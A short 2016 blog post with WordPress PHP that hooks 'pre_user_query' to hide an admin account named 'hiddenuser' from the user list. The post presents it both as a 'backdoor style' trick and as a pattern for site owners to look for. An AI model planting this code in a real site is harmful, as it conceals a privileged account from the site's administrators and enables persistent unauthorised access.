July 20, 2016

Hide your ultra-secret admin user account from all other users

Word up Haters!!! You want to hide your username from everyone else on your site, all hidden backdoor style?!? Or, do you suspect someone may be using a hidden account to create havoc on your site? Look at/for this code in – or linked to – your functions.php file!

[pastacode lang=”php” message=”Hidden User Account Code” highlight=”” provider=”manual”]

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'hiddenuser') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
  }
}

[/pastacode]

Pay attention to the line:

add_action('pre_user_query','yoursite_pre_user_query');

What you’re looking for specifically is the ‘pre_user_query’ term. This will give you access to the user-list BEFORE it renders on the page, allowing you to manipulate it in a variety of ways. Here we’re using it to remove the hidden account from the list.